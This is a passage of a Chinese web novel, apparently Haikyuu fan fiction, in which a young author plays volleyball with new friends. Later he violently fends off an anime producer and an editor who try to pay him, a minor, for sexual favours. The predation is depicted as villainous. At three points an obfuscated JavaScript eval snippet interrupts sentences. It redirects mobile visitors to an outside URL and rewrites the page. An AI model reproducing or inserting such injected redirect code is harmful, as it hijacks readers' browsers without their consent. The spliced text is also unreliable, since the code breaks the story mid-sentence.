虽有自己低头没有看见的过错,但对方这一身腱子肉绝对跟挠个痒没什么区别,吃亏的还是自己。 若此时发火,对方情商太低或者毒舌,说不定会收获一句—— 阿啦啦,你太小了,我没看见。 受伤的仍是自己。 短短的两秒,鹤见深雪天才般的大脑翻转了几圈,这就是矮子的苦楚,无论做什么都是步步为营,小心谨慎,夹缝求生,命真的很苦。 所以大家不要再欺负小矮子了。 鹤见深雪脸贴着对方的上腹,一不做二不休,借助身高的优势,机敏抬手从对方红色宽松的运动服里伸进去,摸了摸对方的胸i肌,又捏了捏…… 手感偏软。 原来这就是胸肌的感觉啊,记下来。 黑尾铁朗:“???” 果不其然,这傻大个全身一僵,惊讶地往后退了好几步。 红色的‘墙’骤然消失,眼前瞬间空旷了许多。 旁边那个长了眼睛的气质不错的矮个金发男也很震惊,震惊之余不忘用手机拍下这一幕。 “你……?” 黑尾铁朗捂住胸,眼神复杂地看着鹤见深雪,耳边还有研磨摁快门的声音。 他终于回过神来,对发小故作委屈地吼道:“研磨,你还拍,我被人非礼了啊!” “感觉也不吃亏吧……”研磨小声地回答,目光又落到精致的像个娃娃一样的鹤见深雪脸上,希望发小不要得了便宜还卖乖。 “哈哈哈太好笑了!研磨照片记得发我!”另一边气质也不错、个子也不高的小哥笑得花枝乱颤。 “喂……夜久!” 鹤见深雪这才看清楚眼前傻大个的形象,同时看明白他们是一行三人。 白了黑尾铁朗一眼,道:“嘁。这可是你自己送上门的,你都叫我大小姐,占你点便宜怎么了?” 我不会给任何一个高个子好脸色。 黑尾铁朗半天哑口无言,鹤见深雪扬起下巴,一副胜利者之态,雪白的小脸上蓬勃着得意神色。 “鹤见深雪!” 及川彻的声音从他的身后传来,带着点怒音,他很快走过来,抬手压在鹤见深雪的头顶,直接把他拉了回来。 “你瞎乱摸什么呢?” 哈?可恶的及川彻,我被人撞了,不过来帮我,还要摸我头顶侮辱我,现在可是我的胜利者MVP结算时间啊! 黑尾铁朗拉拉衣服,走过来,又挂上了混不吝的笑容:“哈,原来是大小姐啊,那被你占了就占了吧。” 呵,好笑。 鹤见深雪从小到大被当女生当惯了,没觉得被叫一个女性化的称呼有什么不好的。妄图用这个攻击他,完全0伤害好吧! 赤苇京治也走过来,看到眼前三人,道:“是音驹的黑尾君啊……” 音驹三人也认识赤苇京治,他们才在春高的预选赛角逐过。 赤苇和三人打过招呼,及川彻就忍不住要拉鹤见深雪这个笨蛋离开。 “喔,你是仙台青叶城西排球部的二传手及川彻吗?”黑尾铁朗忽然开口道。 本只想把鹤见深雪抓回去的及川彻扭过头看向黑尾铁朗。 有些惊讶,他并未打入过全国性的比赛,赤苇京治就没听说过他,黑尾铁朗怎么认识他的? 不过这都不是重点,重点是—— 他!及川彻的名字!竟然已经名震东京了! 及川彻对鹤见深雪这个‘男同性恋’突然袭陌生男人胸而莫名生得气瞬间消失了。 “哎呀,你很有眼光嘛,正是我。”及川彻回头,挑了个不错的角度,看向黑尾铁朗。 “刚好和宫城县有些渊源,所以比较关注宫城的学校。”黑尾铁朗解释,拍拍胸口,道,“我是音驹中学排球部的黑尾铁朗。” 黑尾铁朗把目光落在鹤见深雪身上。 鹤见深雪不屑又冷酷地说道:“我是纯路人鹤见深雪。” “你也打排球吗?纯路人。”黑尾铁朗好笑的问道。 “当然。” 鹤见深雪回道,只是刚开始打而已,赤苇老师都说了,他是很有天赋的,“我、我在打自由人……吧?” “哦?自由人!”夜久卫辅像是抓住了什么关键词,有些惊讶地望向鹤见深雪,“我也是!” 鹤见深雪还没回答他,就听见耳边又有另一个豪迈的声音。 “赤苇!!找到你了!!” 六个人同时看向声音的来源—— 赤苇京治更是连看都没看就扶额,道:“木兔前辈,你怎么也来了……” “呜……因为你请假了所以我没人给我托球……” 木兔光太郎看到赤苇京治的瞬间,立刻偃旗息鼓,对赤苇请假不给他托球的事情十分悲伤,变脸速度非常之快。 鹤见深雪不由得后退,站在及川彻身边,望向木兔光太郎——好可怕的家伙,完全没有距离感,这句找到你了,可以用在恐怖小说里了。 “抱歉,木兔前辈,因为今天我要陪我的朋友。”赤苇京治叹了口气,继续道:“不过没事,木兔前辈,这里有三个二传手。” 赤苇京治用一句话就让木兔光太郎振奋了。 “三个二传手!” 木兔光太郎立刻鬼鬼祟祟地抬起头,眼里充满星光,准确锁定了及川彻和孤爪研磨,像见了块肥肉一样。 ……这家伙是幼儿园小朋友吗?连鹤见深雪也不由得惊叹,他觉得自己已经挺幼稚得了,没想到强中更有强中手。 而且……鹤见深雪震惊地看着木兔光太郎,又看向黑尾铁朗三人。 这些家伙全是打排球的? 该死,排球少年难道和替身使者一样可以相互吸引吗? “呃……”面对木兔光太郎的目光,孤爪研磨想找个地缝钻进去。 黑尾铁朗环视一圈,无视掉发小的求助,十分自来熟地说道:“既然人这么齐,我们可以打一场3v3的比赛——怎么样,有没有兴趣!” “好耶!”木兔光太郎立刻应和。 “如何啊,及川君?”黑尾铁朗看向及川彻,笑着道:“很想见识一下宫城县第一二传手的实力。” “哈?既然你都这样说了……” 及川彻本来在观察木兔光太郎,这个能和牛岛若利齐名的主攻手,听见黑尾铁朗的话,瞬间心花怒放,“——现在就开始吧。” 3V3? 鹤见深雪的目光落在站在对面的孤爪研磨上,没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146077|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他也在看自己,俩人眼神擦过,瞬间偏移目光。 这家伙,是个宅男吧?和我一样。 鹤见深雪和孤爪研磨心里这样想,而且我们都想逃…… 这里一共7个人,3v3有一个人要落单。 鹤见深雪才学了排球不到三十分钟,要他上场岂不是丢人现眼,而且他这一身脆皮搞不好就身受重伤了。 鹤见深雪看向及川彻,及川彻很快明白他的意思了,刚想开口给鹤见深雪台阶下,让他翻记分牌,就听见黑尾铁朗抢先道: “那研磨麻烦你翻下记分牌。” “好。” 鹤见深雪:“……” 及川彻:“……” 你嘴怎么这么慢?鹤见深雪瞪了及川彻一眼。 及川彻:怪我咯? 黑尾铁朗故作惊讶:“大小姐,你也不敢上场吗?” “……怎么可能!你才不敢呢!” 鹤见深雪此刻格外依赖及川彻,自然是要和他一队,而木兔光太郎见到及川彻之后,又被黑尾铁朗封的‘宫城县第一二传手’的名号吸引,很快把赤苇京治忘了。 不得不说真是个无情的排球笨蛋。 排球笨蛋:“及川君,我们一组吧!你给我托球吧!” “求之不得!”及川彻也露出认真的笑容。 赤苇京治倒是丝毫不介意,只是十分担忧地看了眼鹤见深雪。 这孩子,站在这群人中间,跟个小学生似的。 虽然他其实还比赤苇京治高一级。 大家热身的时候,赤苇京治对鹤见深雪说道:“你的工作就是把球传给及川君,能做到吗?” “……大概。” 赤苇京治又对鹤见深雪说了几个要点,还有可能会用到的动作。 及川彻见了也过来指导了两句,他面对排球很认真,几句话讲的鹤见深雪恍然大悟。 同时又生气了——及川彻,你早干嘛去了! 另一边,夜久卫辅一边压腿,一边小声问黑尾铁朗,“他是第一次打排球吗?” 黑尾笑了一下,道:“看都看得出来吧。” “欸,你真过分。” “——没事,他真的克制我,长得好看。” “哇可恶,你不是长发控吗?居然变心了!” “重点是这个吗?重点应该他是男的吧?” 热身完毕。 不就是接球么? 鹤见深雪站在后排,看向球网对面准备发球的黑尾铁朗。 黑尾铁朗将球抛起,跳发球。 鹤见深雪看着空中的排球,球速是赤苇京治给他托球的球速的数十倍。 他能够预判排球的走势,身体却没有那么灵敏,但依然遵循他的本意,朝着排球跑去,千钧一发之际还是稳稳接住了这一球,但他无法调整球的方向,球只擦过他的指尖。 及川彻眼前一亮,不仅是他,几乎除了木兔光太郎以外的所有人都很震惊。 ——就这样,接到了? 但及川彻无暇在心里震惊了,因为鹤见深雪把球直接打到身后,然后一屁股摔在了地上。 “好痛!”他忍不住低声呼道。 及川彻看着飞的更远的排球,垂泪跑向后半场。 18.一传 及川彻看着几乎飞到后半场高高扬起的排球。 他目力极佳,同时发现鹤见深雪在接球之后表情呆滞,显然没想到自己能接下这一球。 无论如何,他要把这一球传出去。 否则会给鹤见深雪排球人生带来沉重打击。 所以及川彻想也没想,就冲向了后半场。 及川彻扑在地上,将排球场外背传,以几乎不可能的姿态,十分精准又巧妙的将排球送到了木兔光太郎的手中,自己则险些摔了出去。 “好厉害。”黑尾铁朗忍不住惊叹。 “……这么卖命的吗?”坐在裁判位上孤爪研磨震恐地看着这一幕。 鹤见深雪是个新手中的新手,接到球都谢天谢地,压根没有想过传球的问题,是传说中的二传噩梦。 好险——研磨心里想,还好他的一传是夜久前辈,如果是鹤见深雪,和小黑绝交他都不要打排球。 或许是赤苇京治等人还在惊讶于及川彻居然能这么远距离的传球,精准无误的送到了木兔的手中,而且这么短就掌握了木兔击球的高度和习惯。 他们竟然没拦住这一球,直接让鹤见深雪队拿到了首分。 鹤见深雪望着原地起跳,近乎飞跃一般的木兔光太郎,不禁看呆。 直到研磨慢吞吞地翻了一页记分牌,鹤见深雪才回过神。 +1! 天呐——我太厉害了。 我!鹤见深雪!排球天才! 鹤见深雪激动地想哭,是真的想哭,他泪腺本来就浅,他没想到自己能接住球,而木兔君还用这一球拿下了一分。 “YES!” 这是他排球人生的第一分! 鹤见深雪冲上去和木兔光太郎击掌。 甚至忽略了木兔本来是准备和及川彻击掌,不得不以一种侮辱性的扭曲的半蹲姿势与鹤见深雪击掌。 配合太默契了。 鹤见深雪不由得甩了甩刘海—— 他和木兔一起拿到了这一分! 及川彻:“……” 努力努力白努力。 鹤见深雪确实不负自封的排球天才之名,有了第一球的成功后,全程十分卖力的接球,落到他方向的排球基本上都拿下了。 及川彻实现了满场跑的战绩,要是有步数排行,及川彻只耗费半个排球场之力便能荣登榜一。 一小时下来,比赛结束,25比22。 黑尾铁朗看着累瘫在地上的及川彻都觉得心疼。 ——对不住了兄弟。 ——或许我不该组织这场比赛,也许能挽救一条生命。 鹤见深雪这一队小胜。 鹤见深雪这辈子没累成这样过,趴在地上,气喘吁吁说不上一句话,一个多小时下来,他接住的球,得分率也很高,收获感十足,这给了他极大的自信。 所以从头到尾的坚持下来。 研磨主动给大家买了水,递水给鹤见深雪的时候,竟然主动和累得够呛的他搭话。 莫名其妙的来了一句,“你知道,自由人的一传要调整方向传给二传吗?”接球不是击飞…… 鹤见深雪:“?” 研磨看到他的表情就理解了,然后缓慢地离开。 他确认了一件事,鹤见深雪指定是救过及川彻的命,才能完全不发火的打完了全程。 情绪好稳定啊!令人羡慕! 赤苇京治和木兔光太郎把累个半死的及川彻扶起来——及川君,你这样做什么都会成功的! 见黑尾铁朗走过来,鹤见深雪不客气地挑眉,“哼,我厉害吧。” “厉害,厉害,大小姐。” 黑尾铁朗看着他得意的仰着小脸看自己,忍不住笑着竖起大拇指,哄孩子似的给足情绪价值,直接甘拜下风,把鹤见深雪几乎是捧杀级别的。 3v3的比赛鹤见深雪打完之后还意犹未尽,他第一次玩这么刺激性、对抗的游戏。 他脸颊通红,汗水润湿刘海,漂亮脸蛋像是水洗过一般,微微张着艳红的嘴唇喘气,美得不真实,湖泊似的眼睛反而更加灵动,他就像是第一次上网就上瘾的小孩似的还想继续玩。 但黑尾铁朗及时叫停了,几个人一起去吃了午饭,还一起去了电玩城。 好奇怪啊,明明第一次见面但是大家就一起熟的不行了,尤其是木兔光太郎、黑尾铁朗、及川彻三人一下子好得跟亲兄弟似的。 鹤见深雪还是第一次参加同龄人的集体活动,而且大家也没有刻意忽略或者在意他,搞得他异常幸福。 连黑尾铁朗这他心目中的傻大个也面目可亲起来。 研磨和夜久卫辅还主动和他聊了游戏相关的内容,鹤见深雪平时也在玩游戏,所以俩人聊得还算投机。 直到下午三点,一切结束,交换联系方式,约定以后再一起打排球。 大家四散回家,鹤见深雪还沉浸在伙伴的快乐中,甚至都短暂忘记眼前的快乐完全可以记录在小说里。 他觉得自己也可以不用写主角独自升级,孤僻背负的故事,试图写一下主角团。 嗯,他们这一行七人感觉每个人的个性都要好鲜明,每个人都可以作为主角。 “好了,我们也回家吧。”及川彻扭过头对鹤见深雪说道。 冰淇淋涂得满嘴都是的鹤见深雪才反应过来,自己还有要事没做—— 连忙拿出手机,因为比赛的时候关了静音没打开,大滝悠成已经催促他好一会儿了。 “呃……” 鹤见深雪抬头看及川彻,他其实想直接拒了大滝悠成,说实在的他对《无尽魔法长夜》的感情已经没那么深刻了。 毕竟已经创作四年了,他是不允许自己总是沉浸在过去的荣耀里的。 但他又瞄到及川彻始终带着那本《无尽魔法长夜》,又觉得如果那本书能动画化,或许读者们会很高兴吧…… 即使作为作者的我已经脱离了这个故事,但也应该为了我的读者而努力,为了故事里的主人公而努力。 鹤见深雪深吸一口气,像是下定了什么决心,道:“……你先回去吧。” “嗯?”及川彻透出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151128|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个单音,显然需要一个合理的理由。 鹤见深雪满头大汗,感觉眼前这一幕就像是被妻子质问的出轨丈夫一样的吱吱吾吾。 这一趟东京之旅,算是和及川彻熟悉了,鹤见深雪也不怕他了,反正都相处一个多月了,也算混熟了。 “唉,你管我那么多干嘛,你好好在家呆着不就行了。”这话一出口,更有那味儿了。 “行。那我买票了。”及川彻倒也不纠缠,补了一句,“那你晚上还回来吗?” “当然!”酒店费那么贵,我才不留在这里呢。 鹤见深雪把及川彻搪塞走了,就连忙回复大滝悠成,他在电话里直接态度一转,对着鹤见深雪一顿呵斥。 鹤见深雪心里很委屈,但还是对着电话那头道歉,然后头也不回的飞快冲进地铁。 好在大滝悠成给的地址不算太远,都在文京区。 文京区是东京文化聚集地,东京大学、重点中小学校和文化产业类的公司都集中在这里。 他刚下地铁就被人叫住,转身发现是及川彻,他自己走得太着急,连包都忘记一直是及川彻在拿了,及川彻又追过来,给他送出去了。 看着带着鸭舌帽的及川彻,他又一次犹豫是否和他离开,但最后还是于情于理不应该拒绝大滝悠成。 鹤见深雪说了一句谢谢之后,再次和及川彻道别。 下了地铁站,又半小跑了十来分钟,才在一个有些偏僻的位置照找到了地址中的街道。 位置确实有点偏,鹤见深雪或许是当手无缚鸡之力的漂亮小矮子太久了,有了某种小动物般的危机预警系统,心里开始越来越慌。 终于看见大滝悠成远远在一家高档居酒屋门口等待着,冲他招了招手,鹤见深雪松了一口气。 居酒屋很高级,一些高级的店铺确实会放在环境清幽的地方。 “鹤见老师,你别怪我——刚才太急了,你这来得也太慢了,给你打了多少个电话了——欸,鹤见老师你腿怎么了?” 鹤见深雪低头,发现自己的膝盖腿上全是淤青。 “非常抱歉,刚才打排球打得。” 大滝悠成沉默了一下,看不出来鹤见深雪居然还会打排球,爱运动的人可不容易对付,但鹤见深雪这种只有常年不见光的人才会有的白皙无暇。。 “带你见得是,荒川社长——是最近很火的《村下大少爷和他的保镖的日常生活》的制作人。” 鹤见深雪停住脚步,他当然听说过,因为这是一部原创BL动画,他为了创作耽美小说的时候在网上找过灵感。 但,他其实觉得那部动漫有点恶俗,甚至涉及一些恋i童癖的相关内容,所以连带着作者也不太欣赏了。 不过他又反思也许是因为他是直男的缘故,对很多男同性恋的行为不是很理解。 其实那部番确实挺火爆的,能被市场选择,应该也有过人之处。 大滝悠成看鹤见深雪还不理解,便继续说道:“荒川社长喜欢BL题材,你不是就在创作BL题材吗?——我这是给你引进人脉。” 19.孩子 鹤见深雪听了恍然大悟,他不仅可以通过他动画化《无尽魔法长夜》,后续的BL题材的作品也能和荒川社长合作。 鹤见深雪彻底放下戒心,甚至他原本想说的未成年人不能进居酒屋的话又吞了回去,点了点头,跟着大滝悠成走进了居酒屋。 大滝悠成推开房间的推拉门,里面榻榻米房间坐着四个四十岁以上的男人,桌上的菜也动了一部分,宴席显然已经到了中旬。 鹤见深雪一进来,他们就停止了聊天,都惊讶地看向鹤见深雪。 鹤见深雪还以为只是荒川社长和大滝悠成还有自己的三人局。 怎么现在这个场合?……鹤见深雪直接汗流浃背了,别说聊自己的小说了。 大滝悠成满意地看着大家惊讶的表情,十分得意地介绍鹤见深雪。 又转而向鹤见深雪介绍,眼前的五个男人都是heat doki动画制作公司的人。 鹤见深雪在地铁上查过这家公司,确实是一家还挺有名的正经动画公司,鹤见深雪看过的一部挺有不错的儿童动画电影也是出品于他。 “十分抱歉,我来晚了!” 坐在最外面的男人最先反应过来,豁达地说道:“没那回事——鹤见老师快入座吧,我们都在等您,快来喝一杯。” 大滝悠成倒是好心连忙替鹤见深雪拒绝,“鹤见老师还是未成年呢!——才,十四还是……” “我快十八了。”鹤见深雪慌张摆手。 “这样啊,那快坐过来吧!” 坐在最外面的那个男人,热情伸出手要去拉鹤见深雪——鹤见深雪害怕地退后一步。 “好了,田原——鹤见君还是个孩子呢。” 鹤见深雪朝着最里面看去,坐着主位的是头发灰白,还留有一层白色贴面胡须的男人,长相正派,敦厚慈祥,五十岁上下,身材却没有走形,身上有股艺术家的气质。 “这就是荒川社长。” 鹤见深雪点点头,入座的时候特意距离那个过分热情的田原远了点,也就坐到荒川旁边的位置,对方冲他慈祥一笑,鹤见深雪也连忙回礼。 应酬没有鹤见深雪想象的那么可怕,其他几个人都在聊些公司还有现在动画业的处境。 鹤见深雪听着竟然也算是津津有味,还挺开阔自己的思维的,之前鹤见深雪有点害怕的田原监督还专门提了鹤见两句,解答了他的几个问题。 大滝悠成似乎目的只是引荐鹤见深雪给荒川还有其他动画界人士认识,仅此而已。 想明白这点的鹤见深雪难免有些失落,不过也没觉得怎样,不管做任何事情都不是一下拍板决定的,《魔法长夜》的动画化还有很长的路要走,实在不行也可以认识一下,为下本书开阔一下路径。 鹤见深雪看了眼手机,发现已经快七点,田原等其他三个人就陆续离开了。 田原最后离开的时候,欲言又止地问道:“鹤见老师家住哪里,我帮你打车吧——” 大滝悠成打断道:“田原监督,我和社长、鹤见君,还有些要聊。” 鹤见深雪本来也想走了,听到大滝悠成这么说,又决定再坚持一下,应该是要谈《无尽魔法之夜》了吧。 婉拒了田原监督之后,房间里一阵沉默,鹤见深雪突然听见大滝悠成幽幽地问道: “——鹤见君的爸爸应该是半年前很有名的「国井案」入狱的教育界的贪污犯文部科学副大臣福山吧?” “啊?!” 鹤见深雪猛然抬头,看向大滝悠成,海蓝色的双眸闪烁浮动,最后道:“嗯……呃,其实不是……” “不要紧张。”荒川社长哈哈大笑,把手放到鹤见深雪圆润的肩膀上,“不要吓到这孩子——深雪啊,眼睛真漂亮。” 鹤见深雪微微偏头,假笑了一下,不自在地把肩膀从荒川的手掌下拿下来,镇定地回答: “福山先生是我妈妈的丈夫,我不清楚他们的事情,我早就和他们没有关系了。” “原来如此,那我就放心了,吓我一跳呢,还以为鹤见老师是贪污犯的孩子,是专门吸日本学生的血长大的吸血虫呢……” 他又用下巴点了点鹤见深雪刚才脱下来的外套,道:“毕竟你一件衣服都上百万呢。” “不是!……衣服是我妈妈很久以前给买的,我家本来就很有钱。”鹤见深雪深吸一口气,又道:“福山先生已经出狱了,「国井案」还在判决的过程中,还请大滝先生,不要妄下结论……” “抱歉,是我刚才说话冒昧了——不过说起来,你为什么不从知情人士甚至福山儿子的视角写一本关于「国井案」的书呢?” 鹤见深雪马上明白对方的意图了,凭借警觉意识,不客气地摇摇头,“抱歉,我没这么考虑过,看来您没什么话要讲了——我要走了。” “哎——” 鹤见深雪刚要站起来,就被荒川抓住了胳膊,直接拉了回来,荒川拍拍鹤见深雪的后背,安抚他,道:“你这孩子,怎么一言不和就要走了呢?气性这么大?” 鹤见深雪警钟大响,心跳加速看着祥和的荒川,想收回手,却发现对方已经紧紧抓住了自己的手。 他吃过饭没有洗手,手上好似有一层油渍,弄得鹤见深雪非常难受,甚至有点恶心。 大滝悠成连忙给鹤见深雪道歉,甚至从座位上起身,坐到鹤见深雪的旁边,士下座,自罚三杯酒,鹤见深雪也就不好再多说什么了。 “确定你不愿意写,我就放心了,我不喜欢那种翻脸不认自己继父的孩子。”荒川笑着说道,然后低头看着鹤见深雪腿上的淤青,有些痴迷地说道: “我一直很担心你,深雪啊,腿上怎么搞得?这么白的腿,真是可惜了,不过这些淤青和伤痕,也真是让人灵感颤抖啊,啊啊,连脚趾都是粉色的……好想放进嘴里。” “啊?什么?!” 鹤见深雪看着刚才还一本正经的荒川忽然像个瘾君子一样的盯着自己看,最后一句话没听清。 大滝悠成在另一边说道:“荒川社长非常喜欢你这样的孩子,看你的照片之后,更是觉得你简直就是他灵感的缪斯啊……想被荒川社长画进动画里吗?荒川社长还代表日本在国际上拿过动漫的奖项呢……” “那些都是虚名……”荒川笑着看着鹤见深雪,“深雪现在不住东京,跑到仙台去住了对吗?这么晚,还回得去吗?” 鹤见深雪嘴唇微微颤抖,没想到会发生这种事,一时之间竟然没说出口。 荒川松开手,从自己的衣服口袋里拿出一沓万元大钞,上面还有一张卡,道:“这里有五十万,卡里还有一百万,算是我对鹤见君的一些资助……” 鹤见深雪看了眼这张卡,冷冷地望着荒川,突然开口,道:“荒川社长——你该不会是想要包养我吧?” 荒川和大滝被鹤见深雪的一句话整得愣住,大滝连忙道:“怎么叫包养呢?太难听了,这是希望你平时多和荒川社长谈谈创作……” 鹤见深雪不拒绝也不答应,停了一会儿,目光放到桌子上,似乎在找什么。 荒川和大滝被他突然的举动整得有些莫名,也顺着他目光看着桌上的东西。 “你在找什么?”大滝莫名其妙的看着他。 “啊,找到了。” 鹤见深雪欣喜地开口,露出笑容,在两人疑惑的目光中,快速从桌子上拿起那个沉重的玻璃物件。 鹤见深雪动作快如清风,高高扬起玻璃烟灰缸狠狠砸在荒川的头顶上,瞬间皮开肉绽,血流如注,点点鲜血喷到鹤见深雪洁白的脸上。 “咚——!” 荒川发出一声惨叫,捂住自己的脑袋倒到一边。 大滝震惊地大喊一声,甚至来不及拉住鹤见深雪。 鹤见深雪快速从榻榻米上站起来,冲着荒川大喊—— “死恋童癖!我去你大爷的!你去死吧!这点钱还想包养我!留来当你的丧葬费吧!” 鹤见深雪破口大骂,然后拿起桌上的钱用力砸在荒川的身上。 一时间之间,掺杂鲜血的钞票漫天飞舞。 大滝悠成震惊地看着这一幕,他运动肥胖的身躯,震惊地从地上爬起来,还差点滑到,颤抖地一把抓住鹤见深雪的胳膊—— “鹤见深雪你疯了?我看你是不想在日本混了吗?” 鹤见深雪响亮的冷哼一声,惹到他算是惹到硬茬了。 他狠狠道:“——你算什么东西?就凭你,还敢威胁我?” 鹤见深雪想要扇大滝悠成的脸,却被他一把抓住手腕,鹤见深雪便猛得抬腿,一脚踹在他的裆部。 大滝悠成痛叫一声,捂住自己的裆部向后倒去,鹤见深雪还觉得不够,提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155108|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起桌下的清酒瓶,就往对方的头上猛地砸过去。 清脆的玻璃瓶碎裂的声音。 刷啦—— 包房的门被人猛然拉开,鹤见深雪还以为是大滝悠成的人又回来了,结果没想到来得确实很熟悉的一张脸。 “及川彻?——你怎么……” 及川彻震惊地看着被鹤见深雪接连放倒的两个人,同时外面的走廊传来脚步声,看来是居酒屋的工作人员听到动静。 “……好爽啊。” 荒川终于从被砸的震动醒过来了,满脸是血的他情动地看着鹤见深雪—— “小深雪,再砸我一次吧……” 鹤见深雪:??? 鹤见深雪这次真的张大嘴巴震惊的看着荒川,他忍无可忍又在找趁手的工具,太恶心了,就跟鞋上爬了厕所里的蛆一样,他要杀了他。 “别打了。” 及川彻连忙叫停,从后面拉住鹤见深雪,他真怕鹤见深雪真的把人砸死了。 鹤见深雪正震惊,大滝悠成从地上爬起来想要扑倒鹤见深雪,及川彻两步迈过去,一脚踹在大滝悠成的肚子上,他的力气和鹤见深雪不能同级而语。 一脚直接把大滝悠成给踹飞了,包间里的屏风都撞倒了。 鹤见深雪被及川彻这一脚吓到了。 ——这是干嘛?叫我别打了,自己打这么起劲。 大滝悠成捂着肚子躺在地上,看着突然进来的及川彻,道:“你又是谁?!——你完了,鹤见深雪——我现在就叫人、我要报警——” 鹤见深雪简直像是听了天大的笑话,“你还有胆子报警?” 大滝悠成:“你以为警察会抓谁——你这个贪污犯的孩子。” 鹤见深雪僵在原地,如果他真的报警,恐怕他做的所有事情都会公之于众,就算自己说出真相,也不会有人相信,这在互联网上对自己的舆论场上是大大的不利。 他们就是因为吃中了这一点,才找他来下手。 “我不知道警察会抓谁,但一定不会放过恋童癖。”及川彻不知道从哪里摸出一个手机,拿在手里,说道: “我已经全部录音了——在国际上拿过代表日本拿过大奖的荒川导演不如现在就报警试试看?” 大滝悠成的脸色变了又变,连荒川也清醒了,死死盯着及川彻手里的手机,那里赫然显示着正在通话中。 居酒屋工作人员也进了房间。 及川彻收起手机,压低帽檐,一把抓住鹤见深雪的手,就拉着他往外走,冷静地穿过居酒屋悠长的走廊。 工作人员早在外面就听见这些话,也无人敢阻止两人离开。 居酒屋每间屋子不同色彩的门透过五彩斑斓的光,照在他们身上,像是穿梭不同的世界边缘。 及川彻紧紧揽着鹤见深雪的肩膀走出居酒屋的大门,冷风给鹤见深雪劈头盖脸的浇了一身,感觉自己好像从魔窟里逃了出来。 他们走在大街上。 及川彻听见鹤见深雪在怀里不停的喘息,拉住他的手腕,听到他如雷的心跳声。 “没事,没事。”及川彻沉静地安抚道:“深呼吸。” 鹤见深雪听他的指挥,深吸几口气,快速得心跳才缓解,及川彻截停了一辆出租车,目标明确的前往东京车站。 文京区交通方便二十来分钟就到了车站。 鹤见深雪就好像刚才的事情已经耗费了全部的勇气,脑子里一阵阵的发麻,耳边嗡嗡乱叫,神经还在兴奋着,但手脚已经彻底软麻了,他四下张望,害怕那些人又追过来。 等到鹤见深雪坐到候车室里,才开始后知后觉地有点害怕,他声音颤抖,语气仍然难掩激动,快速的问及川彻:“你怎么过来的?你不是回仙台了吗?怎么会在这里?你怎么知道的?” 及川彻看他的样子,竟然还有心思笑,平静地说道:“我不放心你小雪,就跟过来了。” 鹤见深雪一时之间不知道该说什么了,静静地看了一会儿及川彻的笑容,紧张的神经缓慢软化,控制不住的撅嘴,眼前及川彻的脸逐渐斑斓模糊,眼泪很快大颗大颗落下来。 “……你现在才哭?”及川彻措手不及地问道,“你刚才不是挺勇的吗?” 鹤见深雪还是在哭,却没有发出声音,咬紧牙齿,抱着腿,脸埋在膝盖里,眼泪汹涌澎湃。 20.逃亡 跟小猫打架似的,战斗的那几分钟是感受不到痛苦和恐惧的,直到一切结束才开始痛惜伤口。 及川彻掏出湿巾,把鹤见深雪的脑袋从膝盖里拔出来,捧着他这张被泪水洗得破碎的脸,仔细把血迹和眼泪擦掉。 即使如此,他还是不停地抽泣着,大概不是委屈,及川彻听着电话里他们的对话——鹤见深雪打起人来算是神兵天降。 就是好爱哭。 他这样想。 细致得把鹤见深雪脸上的眼泪统统擦掉,像是小猫洗脸一样,擦了又流出来,流出来又擦,如此反复。 鹤见深雪的眼睛像是两汪喷泉似的。 及川彻看着他的眼尾被粗糙的湿巾擦得绯红,像是沾了抹胭脂,有种支离破碎的美丽。 他竖起纤长的食指放在鹤见深雪的嘴巴上,道:“停——” 鹤见深雪wer~wer~的抽泣了两声,冲着及川彻模模糊糊地说道: “不要!人家就是很爱哭啊!——怎么办啊及川彻!” 鹤见深雪几乎哭着将唯一可以依赖的及川彻当做救命稻草似的。 他被及川彻掐着下巴,仰着脸看他不复往日那种轻浮的眉眼,又被及川彻牢牢地盯着,他眼里晦暗不明,浓稠如墨汁。 鹤见深雪觉得好奇怪,也不是觉得及川彻凶,单纯这么被他盯着感觉怪怪的,立刻闭上了嘴不再哭了。 而及川彻也好似从那瞬间唤醒,松开他的下巴,撇开头去。 鹤见深雪低下头,看到不远处的玻璃窗户,镜子里自己眼睛哭肿了,头发也有点乱,满脸绯红,有点难看。 “深雪,你的脸……”及川彻忽然惊讶地说道。 鹤见深雪连忙摸上自己的脸,慌张地问他怎么了。 及川彻笑着说道:“你的脸好像小猫,可爱呀。” 鹤见深雪:“……” “及川彻,你有病吧。怎么还笑得出来?”鹤见深雪擦擦鼻子,噘着嘴看他。 及川彻:“不然呢,不笑和你一起哭吗?——我们两个对着脑袋哭,把那两个混蛋哭死。” 鹤见深雪:“……” 